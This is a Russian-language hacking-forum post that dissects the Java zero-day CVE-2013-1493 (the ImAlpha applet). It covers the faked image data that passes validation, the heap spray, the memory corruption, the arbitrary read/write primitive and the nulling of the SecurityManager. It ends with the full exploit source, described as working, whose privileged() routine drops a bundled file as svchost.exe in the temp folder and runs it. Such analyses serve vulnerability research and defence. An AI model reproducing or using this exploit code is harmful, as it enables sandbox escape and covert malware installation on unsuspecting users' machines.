• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CVE-2013-1493 ImAlpha, CMM.cmmColorConvert alpha

el-

Старожил форума
Легенда
Регистрация
21.10.2006
Сообщения
442
Реакции
12
CVE-2013-1493 ImAlpha, CMM.cmmColorConvert alpha memory corruption

http://www.fireeye.com/blog/technical/cybe...zero-day-2.html
http://eromang.zataz.com/2013/03/01/cve-20...acle-java-0day/
http://www.zdnet.com/java-zero-day-malware...dor-7000012079/
https://blog.bit9.com/2013/02/25/bit9-secur...ncident-update/

После недавних классных эксплоитов flash и pdf, появился еще один профессионально исполненный эксплоит для java. И от уже привычных последнее время security
sandbox bypass уязвимостей, это ошибка нативной функции, вернее сказать обман класса явы который проводит валидацию параметров, перед вызовом нативной функции, которая уже опираясь на неправильные параметры дает профит.

В данном экспе интересен больше не баг, а техника эксплуатации подобной уязвимости, причем как оказалось эксплуатация довольно стабильна, для багов типа memory corruption, т. е. вероятность падения все же есть,​ но она сведена на минимум. Для понимания того что происходит внутри всех этих функций, необходима соответствующая квалификация, понимание того как цвета и изображения обрабатываются, таких знаний у меня увы нету, поэтому я просто прослежу за ошибкой от начало до конца, дабы понять как бага влияет на память. Те же кто написал этот эксплоит, хорошо разбирались не только в этом, т. к. триггер баги надо сказать не самый простой, так и во внутреннем устройстве явы, строение её объектов в памяти и их взаимодействию.

Триггер уязвимости

Класс ImAlpha не просто назвали именно так, дело в очень большом значение оффсета alpha канала для буфера приемника.

Код:
    this.soffsets = new int[] { 0, 1, 2, 3 };
    this.doffsets = new int[] { 0, 1, 2, 50000000 };

Начало эксплоита подготавливает два BufferedImage для конвертации одного в другой.

Код:
      int sWidth = 168; int sHeight = 1;
      int spStride = 4; int ssStride = spStride * sWidth;

      int dWidth = sWidth; int dHeight = sHeight;
      int dpStride = 1; int dsStride = 0;

      ColorSpace scs = new ImAlpha.MyColorSpace(0, this.soffsets.length - 1);
      ColorModel scm = new ComponentColorModel(scs, true, false, 1, 0);
      SampleModel ssm = new ComponentSampleModel(0, sWidth, sHeight, spStride, ssStride, this.soffsets);
      BufferedImage sbi = new ImAlpha.MyBufferedImage(sWidth, sHeight, 6, 0, scm, ssm);

      for (int i = 0; i < ssStride; i++) {
        sbi.getRaster().getDataBuffer().setElem(i, 1);
      }

      ColorSpace dcs = new ImAlpha.MyColorSpace(0, this.doffsets.length - 1);
      ColorModel dcm = new ComponentColorModel(dcs, true, false, 1, 0);
      SampleModel dsm = new ComponentSampleModel(0, dWidth, dHeight, dpStride, dsStride, this.doffsets);
      BufferedImage dbi = new ImAlpha.MyBufferedImage(sWidth, sHeight, 10, 0, dcm, dsm);

      ColorConvertOp cco = new ColorConvertOp(null);

Для доставки подменяются пара классов которые наследуются от стандартных ява классов и переопределяют некоторые из методов. Первый ImAlpha.MyColorSpace, в котором переопределяются методы преобразования цвета, все они возвращают null. И второй ImAlpha.MyBufferedImage, несколько сложнее и отдает фейковые данные, причем отдает их только при запросе из ряда функций класса ICC_Transform, для этого он проверяет стек вызовов. Ниже начало класса ImAlpha.MyBufferedImage ...

Код:
  class MyBufferedImage extends BufferedImage
  {
    int _fakeType;
    ColorModel _fakeColorModel;
    SampleModel _fakeSampleModel;

    public MyBufferedImage(int width, int height, int imageType, int fakeType, ColorModel fakeColorModel, SampleModel fakeSampleModel)
    {
      super(height, imageType);

      this._fakeType = fakeType;
      this._fakeColorModel = fakeColorModel;
      this._fakeSampleModel = fakeSampleModel;
    }

    public int getType()
    {
      String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString();
      if (caller.contains("ICC_Transform.getImageLayout(")) {
        return this._fakeType;
      }

      return super.getType();
    }
    // skip ...
  }

Первый буфер забивается единицами, именно эти единицы потом будут портить память.

Код:
      for (int i = 0; i < ssStride; i++) {
        sbi.getRaster().getDataBuffer().setElem(i, 1);
      }

После первый буфер будет с конвертирован во второй, отличительной особенностью которого является большое значение оффсета альфа-канала равное 50000000. Но перед конвертацией, которая приводит к порче памяти, эксплоит спреит в память необходимые для дальнейшей эксплуатации данные в два огромных списка.

Код:
  static final int ARRAY_MAGIC = 0xB00BB00B;
  static final int ARRAY_OLDSIZE = 11;
  static final int SPRAY_ARRAY_COUNT = 2808685;
  static final int SPRAY_LEAK_COUNT = 2000000;

  volatile ImAlpha.Leak[] _sleaks;
  volatile int[][] _sarrays;

Тут volatile не просто так, кому интересно подробнее про это написано в этой статье http://habrahabr.ru/post/108016/, пункт 3. Volatile переменные.

Код:
  void spray() throws Exception
  {
    Runtime.getRuntime().gc();
    Runtime.getRuntime().gc();

    this._sleaks = new ImAlpha.Leak[2000000];
    this._sarrays = new int[2808685][];
    try
    {
      for (int i = 0; i < this._sarrays.length; i++) {
        this._sarrays[i] = new int[11];
        for (int j = 0; j < this._sarrays[i].length; j++) {
          this._sarrays[i][j] = 0xB00BB00B;
        }
      }

      for (int i = 0; i < this._sleaks.length; i++)
        this._sleaks[i] = new ImAlpha.Leak("L");
    }
    catch (OutOfMemoryError localOutOfMemoryError)
    {
    }
  }

Вызывает два раза GarbageCollector наверное для того что бы освободить всю-всю память ;D. Первый список размером 2808685 забивает массивами из 11ти ( 0x0B ) int элементов, которым присваиваются значения 0xB00BB00B. Почему выбраны именно эти цифры остается загадкой, скорее всего ими можно варьировать без потери стабильности эксплоита. Второй же список забивается объектами класса ImAlpha.Leak, который хранит магическое число 0xDEADCAFE и указатель на объект, плюс еще несколько объектов которые никогда не инициализируются, скорее всего это сделано просто для выравнивания в памяти. Ниже класс ImAlpha.Leak …

Код:
  class Leak
  {
    public volatile int magic;
    public volatile Object obj;
    public volatile Object obj2;
    public volatile Object obj3;
    public volatile Object obj4;

    public Leak(Object o)
    {
      this.magic = 0xDEADCAFE;
      this.obj = o;
    }
  }

После спрея вызывается сама функция которая конвертирует один буфер в другой. Кстати происходит эксепшен, так что функция не просто так обернута в try catch

Код:
      try
      {
        cco.filter(sbi, dbi);
      }
      catch (Exception localException) {
      }

Функцию ColorConvertOp::filter можно посмотреть здесь, из нее надо знать только то что дальше дело идет в функцию ICCBIFilter, которая чуть ниже по ссылке. В ICCBIFilter вызывается под функция updateBITransform создающая экземпляр класса ICC_Transform с именем thisTransform, в метод colorConvert, которого уходят оба буфера.

Код:
00328         /* make a new transform if needed */
00329         if ((thisTransform == null) || (thisSrcProfile != srcProfile) ||
00330             (thisDestProfile != destProfile) ) {
00331             updateBITransform(srcProfile, destProfile);
00332         }
00333 
00334         /* color convert the image */
00335         thisTransform.colorConvert(src, dest);

Функцию ICC_Transform. colorConvert можно глянуть здесь. В ней же непосредственно, перед вызовом нативной функции CMM.cmmColorConvert, оба буфера обрабатываются в функции getImageLayout. На вход подается BufferedImage, который опрашивается, проверяются его значения и если все хорошо функция возвращает объект CMMImageLayout, дальше с ним уже будет работать нативная функция. А дабы все было хорошо и большое значение смещения альфа-канала прошло валидацию, функции подсовываются фейковые данные специально созданные для этого классом ImAlpha.MyBufferedImage, про который я говорил выше.

Код:
00161         srcIL = getImageLayout(src);
00162         if (srcIL != null) {
00163             dstIL = getImageLayout(dst);
00164             if (dstIL != null) {
00165                 synchronized(this) {
00166                     CMM.checkStatus(CMM.cmmColorConvert(ID, srcIL, dstIL));
00167                 }
00168                 return;
00169             }
00170         }

Теперь все дело происходит в нативной функции написанной на си, которую можно посмотреть в сорцах jre в файле \j2se\src\share\native\sun\awt\cmm\cmm.c. Сорцы я качал по этому линку http://dlc.sun.com.edgesuite.net/jdk6/6u30/promoted/b12/

Из функции Java_sun_awt_color_CMM_cmmColorConvert все сразу отправляется в функцию initImageLayouts, где в начале запрашиваются все необходимые данные переданные из класса выше, а потом вызываются три важные функции, которые и делают всю работу.

Код:
    theStatus = finishLayoutInit(srcLayout, srcType, srcOffsets,
                                 srcOptInfo, srcNumArrays, srcArrayIndices,
                                 &srcAlphaPtr, arrayMap);
    if (theStatus != SpStatFailure) {
        theStatus = finishLayoutInit(dstLayout, dstType, dstOffsets,
                                     dstOptInfo, dstNumArrays, dstArrayIndices,
                                     &dstAlphaPtr, arrayMap);
    }
    if ((theStatus != SpStatFailure) &&
        (dstNumArrays != dstLayout->NumChannels)) {
        /* need to set dst alpha samples, since there is a dst alpha channel */
        handleAlpha(srcLayout, srcAlphaPtr, dstLayout, dstAlphaPtr);
    }

В finishLayoutInit обрабатываются оба буфера, из всего что там происходит в данном случае интересен расчет указателя AlphaPtr, для обоих буфером srcAlphaPtr и dstAlphaPtr которые будут использованы далее.

Код:
        case typeCompUByte:
            theLayout->SampleType = SpSampleType_UByte;

            for (i1 = 0; i1 < theLayout->NumChannels; i1++) {
                dataP = ((KpUInt8_p) arrayMap->info[theArrayIndices[i1]].addr)
                        + theOffsets[i1];
                theLayout->BaseAddrs[i1] = (SpHugeBuffer_t) dataP;
            }

            if (theNumArrays > theLayout->NumChannels) {
                /* there is an alpha channel */
                i1 = theLayout->NumChannels;
                *theAlphaPtrP =
                    ((KpUInt8_p) arrayMap->info[theArrayIndices[i1]].addr) +
                    theOffsets[i1];
            }

А именно, сначала проходится массив каналов, где к базовому адресу в памяти по которому располагает буфер прибавляются оффсеты определенные в самом начале soffsets и doffsets. Четвертый же оффсет прибавленный к базовому адресу формирует указатель на Alpha буффер и именуется theAlphaPtrP.

Если для первого буфера — источника, это обычные величины внутри буфера забитым единицами ( помните я говорил про это вначале ) равные base + 1, 2, 3 и theAlphaPtrP = base + 4;

Код:
    this.soffsets = new int[] { 0, 1, 2, 3 };

То для буфера приемника, в который будет конвертироваться это изображение, все будет тоже самое за исключением того что theAlphaPtrP будет указывать на base + 50000000, т. е. в никуда т. к. буфер приемник намного меньше.

В функции же handleAlpha происходит непосредственно порча памяти, а именно копирование 1 раз по 168 байт ( это height и width картинки ) из srcAlphaPtr в dstAlphaPtr, т. е. из буфера забитым единицами в никуда, если бы не хипспрей.

Код:
    } else if (srcLayout->SampleType == SpSampleType_UByte) {
        if (dstLayout->SampleType == SpSampleType_UByte) {
            /* src is UByte, dst is UByte */
            KpUInt8_p sptr, sptr1;
            KpUInt8_p dptr, dptr1;
            if (srcAlphaPtr == dstAlphaPtr) {
                /* same array, so no need to copy */
                return;
            }
            sptr1 = (KpUInt8_p) srcAlphaPtr;
            dptr1 = (KpUInt8_p) dstAlphaPtr;
            sxinc = srcLayout->OffsetColumn;
            syinc = srcLayout->OffsetRow;
            dxinc = dstLayout->OffsetColumn;
            dyinc = dstLayout->OffsetRow;
            for (y = dstLayout->NumRows; y > 0; y--) {
                sptr = sptr1;
                dptr = dptr1;
                for (x = dstLayout->NumCols; x > 0; x--) {
                    *dptr = *sptr;
                    sptr += sxinc;
                    dptr += dxinc;
                }
                sptr1 += syinc;
                dptr1 += dyinc;
            }

В отладчике все выглядит следующим образом

alphacopy.png


edi указывает на буфер источник

alphasource.png


dl = 0x01
eax указывал бы в небо, если бы память предварительно не была подготовлена спреем. Собственно на картинке виден спрей.

alphadst.png


Дальше я буду описывать непосредственно эксплуатацию, как переписав часть int[11] массивов в списке массивов, этот эксплоит смог читать/писать во всю память процесса, как с помощью этого он выставил значение SecurityManager в ноль, поправив напрямую System.class в памяти.

Эксплуатация

Память на данный момент ( после спрея ) представляет собой вначале два огромных списка указателей на блоки данных, ниже кусок такого списка

arrayinmem.png


Первый это _sleaks который указывает на блоки описывающие объект ImAlpha.Leak, ниже они в памяти.

leakinmem.png


На картинке видно первые два DWORD'а не важны это единица и какой-то адрес ( мб описывающий наследуемый объект ) за ним идет магическое значение,

Код:
  static final int LEAK_MAGIC = 0xDEADCAFE;

адрес записанного в него объекта String("L"), которым был инициализирован класс

Код:
        this._sleaks[i] = new ImAlpha.Leak("L");

и остальное 4 нуля, три не инициализированных объекта и видимо еще один ноль выравнивания.

Код:
  class Leak
  {
    public volatile int magic;
    public volatile Object obj;
    public volatile Object obj2;
    public volatile Object obj3;
    public volatile Object obj4;

Второй же массив указывает на блоки int[11], как видно начинаются они опять же с 0x01, за ней неизвестный адрес, длинна массива 0x0b == 11 и 11 DWORD'ов равных 0xB00BB00B.

alphadst.png


Код:
  static final int ARRAY_MAGIC = 0xB00BB00B;

Записав 168 байт в область где непрерывно располагаются int[11] массивы, получили несколько испорченных массивов, при всем при этом они остаются рабочими, мало того работа по чтению/записи в этим массивы опирается на длину указанную в третьем DWORD'е , после перезаписи она изменяется с 0x0B на 0x01010101 что дает возможность писать и читать дальше 11ти элементов.

После порчи памяти таким образом нужно еще немного довести до кондиции испорченные массивы, а именно, сделать их бесконечной длинны и узнать их адрес в памяти, тогда можно будет читать/писать любой адрес в памяти. Для этого вызываются еще две функции которые проделывают эту работу.

Код:
      getBigArray();
      getMemBase();

Иметь массив который может читать/писать 0x01010101 байт уже хорошо, но не достаточно, для полного счастья. Поэтому первая функция формирует бесконечный массив который сможет читать всю память. Для начала делает проход по всем значениям и присвоение им обратно 0xB00BB00B, т.к. часть массивов была переписана единицами.

Код:
    for (int i = 0; i < this._sarrays.length; i++) {
      for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) {
        this._sarrays[i][j] = 0xB00BB00B;
      }
    }

После этого вид испорченного куска памяти принимает следующий вид.

fillarray.png


Далее как видно переписано все кроме трех первых dword'ов 0x01, адрес и длинна массива, все остальное вернули на место, не переписали их потому что выше стоит проверка (j < 11).

Затем делается еще один проход на этот раз внутренние массивы проходятся до длинны если она меньше 22, т.о. дойдя до массива с переписанной длинной есть возможность прочитать соседний массив идущий следом за текущим. И если предыдущий dword != 0xB00BB00B а следующий равен, значит предыдущий dword указывает на длину следующего массива, а значит её можно переписать на 0x7FFFFFFF, получив тем самым бесконечный массив.

Код:
    for (int i = 0; i < this._sarrays.length; i++) {
      if (this._sarrays[i].length != 0x7FFFFFFF) {
        for (int j = 0; (j < this._sarrays[i].length) && (j < 22); j++) {
          if ((j > 0) && (this._sarrays[i][(j - 1)] != 0xB00BB00B) && (this._sarrays[i][j] == 0xB00BB00B)) {
            this._sarrays[i][(j - 1)] = 0x7FFFFFFF;
          }
        }
      }
    }

Следующим проходом идет поиск такого бесконечного массива указатель на который помещается в bigArray. Все эти проходы нужны видимо для стабильности, потому как память может быть фрагментированной и расположенной вперемешку, а значит есть вероятность что следующий массив в памяти, не является следующим массивом в списке sarrays. Благо все это выполняется в jit, читай оптимизированный asm ( код и циклы выравнены, все как надо ), т. е. все происходит довольно быстро.

Код:
    for (int i = 0; i < this._sarrays.length; i++) {
      if ((this._sarrays[i].length != 11) && (this._bigArray == null) && (this._sarrays[i].length == 0x7FFFFFFF))
      {
        this._bigArray = this._sarrays[i];
      }
    }

На картинке видны измененные длинны массивов в памяти.

lenarray.png


Сделав бесконечный массив и найдя его в памяти, надо бы узнать адрес этого самого массива, т.о. можно будет читать любой адрес в памяти по его адресу, для этого вызывается функция getMemBase:

Код:
    for (int i = 0; i < this._sarrays.length; i++) {
      for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) {
        this._sarrays[i][j] = (j == 1 ? i : 0xB00BB00B);
      }
    }

    for (int i = 0; i < this._bigArray.length; i++) {
      if ((i > 0) && (this._bigArray[(i - 1)] != 0xB00BB00B) && (this._bigArray[i] == 0xB00BB00B) && (this._bigArray[(i + 1)] != 0xB00BB00B)) {
        int len = this._bigArray[(i - 1)];
        int idx = this._bigArray[(i + 1)];
        if ((idx >= 0) && (idx < this._sarrays.length) && (this._sarrays[idx] != null) && (this._sarrays[idx].length == len)) {
          this._memBaseObj = this._sarrays[idx];
          this._memBaseIdx = i;
          break;
        }
      }
    }

Вначале делается еще один проход по _sarrays, и в каждый 1ый элемент ( на самом деле 2ой, считаем от 0 ) помещаем индекс текущего массива в списке _sarrays, все остальное по прежнему равно 0xB00BB00B. Второй цикл бежит уже по большому массиву в поисках ситуации когда

Код:
[i – 1] !=  0xB00BB00B && [i] ==  0xB00BB00B && [i + 1] !=  0xB00BB00B

Такая ситуация возможна когда idx указывает на первый dword в массиве int[11], предыдущий равен длине, а следующий его индексу в _sarrays, который был выставлен в первом проходе. По сути это просто проматывание первого объекта int[11] через _bigArray, и получение индекса первого int в _bigArray, зачем это делается я честно говоря не до конца понимаю, ну да не суть, далее получив указатель на этот объект и поместив его в memBaseObj, дергается функция getAddress которая получит адрес в памяти этого объекта. Код функции ниже:

Код:
    for (int i = 0; i < this._bigArray.length; i++) {
      if (this._bigArray[i] == 0xDEADCAFE) {
        int flag = 0;

        for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = null;
        flag += (this._bigArray[(i + 1)] == 0 ? 1 : 0);

        for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = "X";
        flag += (this._bigArray[(i + 1)] != 0 ? 1 : 0);

        if (flag == 2) {
          for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = obj;
          return this._bigArray[(i + 1)];
        }
      }

NOTICE: Хоть список _sleaks создается первым нежели _sarrays, данные в него вносятся уже после того как был заполнен _sarrays, поэтому объекты ImAlpha.Leak в памяти лежат после массивов int[11].

Представим _bigArray как непрерывный кусок памяти ( в java так и есть, под все данные выделяется огромные области ), в котором сначала идут int[11] массивы, а за ними ImAlpha.Leak. Тогда надо просто пройтись по _bigArray массиву в поисках магического значения 0xDEADCAFE и убедится что найден именно один из объектов ImAlpha.Leak, а не что-то там. Для того что бы убедиться всему списку объектов Leak::obj присваивается null, в памяти это выглядит так что следующий за магическим значением dword становится равный нулю.

Код:
flag += (this._bigArray[(i + 1)] == 0 ? 1 : 0);

Мало ли что там в безграничной памяти бывает, для верности делается еще одна проверка, опять же пройдясь по всему списку объектов Leak::obj присваивается "X", а значит в памяти следующий за магическим значением dword будет заполнен адресом на объект описывающий строку "X" и уже не будет равен null.

Код:
flag += (this._bigArray[(i + 1)] != 0 ? 1 : 0);

Убедившись что все так, что через _bigArray был найден объект ImAlpha.Leak, можно теперь поместить в obj любой нужный объект и тем самым узнать его адрес в памяти.

Что собственно и делается, ниже для this._memBaseObj, в который помещен указатель на int[11] объект найденный внутри _bigArray.

Код:
    this._memBasePtr = getAddress(this._memBaseObj);

    if (this._memBasePtr == 0L) {
      throw new Exception("fail");
    }

    this._memBasePtr += 12L;

Адрес указывает на начало структуры int[11] в памяти, прибавив к нему 12 ( пропустив 3 dword'а: единицу, неизвестный адрес и длину ) получаем адрес в памяти первого элемента массива, теперь зная этот адрес и индекс начала внутри _bigArray, можно читать/писать память по адресу.

Код:
  int rdMem(long addr)
  {
    long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L;
    if ((offs >= 0L) && (offs < 0x7FFFFFFFL)) {
      return this._bigArray[(int)offs];
    }
    return 0;
  }

  void wrMem(long addr, int value)
  {
    long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L;
    if ((offs >= 0L) && (offs < 0x7FFFFFFFL))
      this._bigArray[(int)offs] = value;
  }

Даже вот так например

Код:
System.out.println("KUSER_SHARED_DATA[0]: 0x" + Long.toString(rdMem(0x7FFE0000), 16));
System.out.println("KUSER_SHARED_DATA[1]: 0x" + Long.toString(rdMem(0x7FFE0004), 16));

Предпоследняя и заключительная часть ( описывать как дропнуть и запустить экзе в отсутствие securityManager'а рассказывать наверное не стоит ), это перезапись значения securtityManager в памяти. Код ниже:

Код:
      long sys = getAddress(System.class);
      long sm = getAddress(System.getSecurityManager());
      sys = rdMem(sys + 4L);
      for (int i = 0; i < 2000000; i++) {
        long addr = sys + i * 4;
        int val = rdMem(addr);
        if (val == sm) {
          wrMem(addr, 0);
          if (System.getSecurityManager() == null) {
            break;
          }
        }
      }

Как я понял класс System расположен в памяти в единственном экземпляре, а каждый второй DWORD любого объекта ( первый равен единицы, второй же был неизвестным адресом ) указывает на память в которой описывается внутреннее устройство объекта. А значит получив адрес [System.class + 4] и адрес текущего security manager, объект которого можно получить по средством System.getSecurityManager(), надо только пройтись в поисках этого адреса внутри данных System.class и переписывать его нулем, пока заветный вызов тоже System.getSecurityManager() не вернет ноль.

Сорец

С моими правками для отладки, вроде как рабочий, на нем я получил все эти данные.

Код:
import java.applet.Applet;
import java.awt.color.ColorSpace;
import java.awt.image.BufferedImage;
import java.awt.image.ColorConvertOp;
import java.awt.image.ColorModel;
import java.awt.image.ComponentColorModel;
import java.awt.image.ComponentSampleModel;
import java.awt.image.DataBuffer;
import java.awt.image.SampleModel;
import java.awt.image.WritableRaster;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;

public class ImAlpha extends Applet
{
  private static final long serialVersionUID = 1L;
  static final int ARRAY_NEWSIZE = 0x7FFFFFFF;
  static final int LEAK_MAGIC = 0xDEADCAFE;

  static final int ARRAY_MAGIC = 0xB00BB00B;
  static final int ARRAY_OLDSIZE = 11;
  static final int SPRAY_ARRAY_COUNT = 2808685;
  static final int SPRAY_LEAK_COUNT = 2000000;

  volatile ImAlpha.Leak[] _sleaks;
  volatile int[][] _sarrays;

  volatile int[] _bigArray;
  int[] _memBaseObj;
  long _memBaseIdx;
  long _memBasePtr;
  int[] soffsets;
  int[] doffsets;

  public ImAlpha()
  {
    this.soffsets = new int[] { 0, 1, 2, 3 };

    this.doffsets = new int[] { 0, 1, 2, 50000000 };
  }

  void spray() throws Exception
  {
    Runtime.getRuntime().gc();
    Runtime.getRuntime().gc();

    this._sleaks = new ImAlpha.Leak[2000000];
    this._sarrays = new int[2808685][];
    try
    {
      for (int i = 0; i < this._sarrays.length; i++) {
        this._sarrays[i] = new int[11];
        for (int j = 0; j < this._sarrays[i].length; j++) {
          this._sarrays[i][j] = 0xB00BB00B;
        }
      }

      for (int i = 0; i < this._sleaks.length; i++)
        this._sleaks[i] = new ImAlpha.Leak("L");
    }
    catch (OutOfMemoryError localOutOfMemoryError)
    {
    }
  }

  void getBigArray() throws Exception
  {

//  System.out.println("fill array");
//  Thread.currentThread().sleep(30 * 1000);
    for (int i = 0; i < this._sarrays.length; i++) {
      for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) {
        this._sarrays[i][j] = 0xB00BB00B;
      }
    }

//  System.out.println("set 0x7FFFFFFF len array");
//  Thread.currentThread().sleep(30 * 1000);

    for (int i = 0; i < this._sarrays.length; i++) {
      if (this._sarrays[i].length != 0x7FFFFFFF) {
        for (int j = 0; (j < this._sarrays[i].length) && (j < 22); j++) {
          if ((j > 0) && (this._sarrays[i][(j - 1)] != 0xB00BB00B) && (this._sarrays[i][j] == 0xB00BB00B)) {
            this._sarrays[i][(j - 1)] = 0x7FFFFFFF;
          }
        }
      }
    }

//  System.out.println("search array");
//  Thread.currentThread().sleep(30 * 1000);

    for (int i = 0; i < this._sarrays.length; i++) {
      if ((this._sarrays[i].length != 11) && (this._bigArray == null) && (this._sarrays[i].length == 0x7FFFFFFF))
      {
        this._bigArray = this._sarrays[i];
    System.out.println("idx1: " + i);
      }
    }

    if (this._bigArray == null)
      throw new Exception("fail");
  }

  long getAddress(Object obj) throws Exception
  {
    for (int i = 0; i < this._bigArray.length; i++) {
      if (this._bigArray[i] == 0xDEADCAFE) {
        int flag = 0;

        for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = null;
        flag += (this._bigArray[(i + 1)] == 0 ? 1 : 0);

        for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = "X";
        flag += (this._bigArray[(i + 1)] != 0 ? 1 : 0);

        if (flag == 2) {
          for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = obj;
          return this._bigArray[(i + 1)];
        }
      }
    }

    throw new Exception("fail");
  }

  void getMemBase()
    throws Exception
  {
    for (int i = 0; i < this._sarrays.length; i++) {
      for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) {
        this._sarrays[i][j] = (j == 1 ? i : 0xB00BB00B);
      }
    }

    for (int i = 0; i < this._bigArray.length; i++) {
      if ((i > 0) && (this._bigArray[(i - 1)] != 0xB00BB00B) && (this._bigArray[i] == 0xB00BB00B) && (this._bigArray[(i + 1)] != 0xB00BB00B)) {
        int len = this._bigArray[(i - 1)];
        int idx = this._bigArray[(i + 1)];
        if ((idx >= 0) && (idx < this._sarrays.length) && (this._sarrays[idx] != null) && (this._sarrays[idx].length == len)) {
          this._memBaseObj = this._sarrays[idx];
          this._memBaseIdx = i;

    System.out.println("idx2: " + idx);
    System.out.println("_memBaseIdx: " + i);
          break;
        }
      }
    }

    if (this._memBaseObj == null) {
      throw new Exception("fail");
    }

    this._memBasePtr = getAddress(this._memBaseObj);

    if (this._memBasePtr == 0L) {
      throw new Exception("fail");
    }

	System.out.println("_memBasePtr1: 0x" + Long.toString(_memBasePtr, 16));

    this._memBasePtr += 12L;
	System.out.println("_memBasePtr2: 0x" + Long.toString(_memBasePtr, 16));

  Thread.currentThread().sleep(30 * 1000);

  }

  int rdMem(long addr)
  {
    long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L;
    if ((offs >= 0L) && (offs < 0x7FFFFFFFL)) {
      return this._bigArray[(int)offs];
    }
    return 0;
  }

  void wrMem(long addr, int value)
  {
    long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L;
    if ((offs >= 0L) && (offs < 0x7FFFFFFFL))
      this._bigArray[(int)offs] = value;
  }

  void privileged()
  {
    try
    {
      String Dir = new String("");
      Dir = System.getProperty("java.io.tmpdir");

      File f1 = new File(Dir + "svchost.exe");
      try
      {
        boolean b = f1.createNewFile();
      }
      catch (Exception e)
      {
        e.printStackTrace();
      }

      FileOutputStream outstream = new FileOutputStream(Dir + "svchost.exe");

      InputStream instream = ImAlpha.class.getResourceAsStream("svchost.cfg");

      int Mnocopploa = 0;

      while ((Mnocopploa = instream.read()) != -1)
      {
        outstream.write(Mnocopploa);
      }

      outstream.flush();
      outstream.close();
      instream.close();

      Runtime.getRuntime().exec(Dir + "svchost.exe");
    } catch (Exception localException) {
      localException.printStackTrace();
    }
  }

  public void init()
  {
    try
    {

  System.out.println("begin");

  /*
      if (System.getSecurityManager() == null) {
        privileged();
        return;
      }
   */

      int sWidth = 168; int sHeight = 1;
      int spStride = 4; int ssStride = spStride * sWidth;

      int dWidth = sWidth; int dHeight = sHeight;
      int dpStride = 1; int dsStride = 0;

      ColorSpace scs = new ImAlpha.MyColorSpace(0, this.soffsets.length - 1);
      ColorModel scm = new ComponentColorModel(scs, true, false, 1, 0);
      SampleModel ssm = new ComponentSampleModel(0, sWidth, sHeight, spStride, ssStride, this.soffsets);
      BufferedImage sbi = new ImAlpha.MyBufferedImage(sWidth, sHeight, 6, 0, scm, ssm);

      for (int i = 0; i < ssStride; i++) {
        sbi.getRaster().getDataBuffer().setElem(i, 1);
      }

      ColorSpace dcs = new ImAlpha.MyColorSpace(0, this.doffsets.length - 1);
      ColorModel dcm = new ComponentColorModel(dcs, true, false, 1, 0);
      SampleModel dsm = new ComponentSampleModel(0, dWidth, dHeight, dpStride, dsStride, this.doffsets);
      BufferedImage dbi = new ImAlpha.MyBufferedImage(sWidth, sHeight, 10, 0, dcm, dsm);

      ColorConvertOp cco = new ColorConvertOp(null);


  System.out.println("pre spray");
      spray();
      try
      {
        cco.filter(sbi, dbi);
      }
      catch (Exception localException) {
      }

  System.out.println("pre getBigArray()");

      getBigArray();
      getMemBase();


//  System.out.println("pre test");
//  Thread.currentThread().sleep(30 * 1000);
//  System.out.println("KUSER_SHARED_DATA[0]: 0x" + Long.toString(rdMem(0x7FFE0000), 16));
//  System.out.println("KUSER_SHARED_DATA[1]: 0x" + Long.toString(rdMem(0x7FFE0004), 16));



      long sys = getAddress(System.class);
	System.out.println("sys1: 0x" + Long.toString(sys, 16));
      long sm = getAddress(System.getSecurityManager());
      sys = rdMem(sys + 4L);
	System.out.println("sm: 0x" + Long.toString(sm, 16));
	System.out.println("s ys2: 0x" + Long.toString(sys, 16));
      for (int i = 0; i < 2000000; i++) {
        long addr = sys + i * 4;
        int val = rdMem(addr);
        if (val == sm) {
          wrMem(addr, 0);
          if (System.getSecurityManager() == null) {
            break;
          }
        }
      }
      privileged();
    }
    catch (Exception localException1)
    {
    }
  }

  public static void main(String[] args) {
    new ImAlpha().init();
  }

  class MyColorSpace extends ColorSpace
  {
    private static final long serialVersionUID = 1L;

    public MyColorSpace(int type, int numcomponents)
    {
      super(type, numcomponents); } 
    public float[] fromCIEXYZ(float[] value) { return null; } 
    public float[] toCIEXYZ(float[] value) { return null; } 
    public float[] fromRGB(float[] value) { return null; } 
    public float[] toRGB(float[] value) { return null; }

  }

  class MyBufferedImage extends BufferedImage
  {
    int _fakeType;
    ColorModel _fakeColorModel;
    SampleModel _fakeSampleModel;

    public MyBufferedImage(int width, int height, int imageType, int fakeType, ColorModel fakeColorModel, SampleModel fakeSampleModel)
    {
      super(width, height, imageType);

      this._fakeType = fakeType;
      this._fakeColorModel = fakeColorModel;
      this._fakeSampleModel = fakeSampleModel;
    }

    public int getType()
    {
      String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString();
      if (caller.contains("ICC_Transform.getImageLayout(")) {
        return this._fakeType;
      }

      return super.getType();
    }

    public ColorModel getColorModel()
    {
      String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString();
      if ((caller.contains("ICC_Transform.getImageLayout(")) || (caller.contains("CMMImageLayout.<init>("))) {
        return this._fakeColorModel;
      }

      return super.getColorModel();
    }

    public SampleModel getSampleModel()
    {
      String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString();
      if (caller.contains("ICC_Transform.getImageLayout(")) {
        return this._fakeSampleModel;
      }

      return super.getSampleModel();
    }
  }

  class Leak
  {
    public volatile int magic;
    public volatile Object obj;
    public volatile Object obj2;
    public volatile Object obj3;
    public volatile Object obj4;

    public Leak(Object o)
    {
      this.magic = 0xDEADCAFE;
      this.obj = o;
    }
  }
}
 
el-
1. зря на главную не вывел обзором!
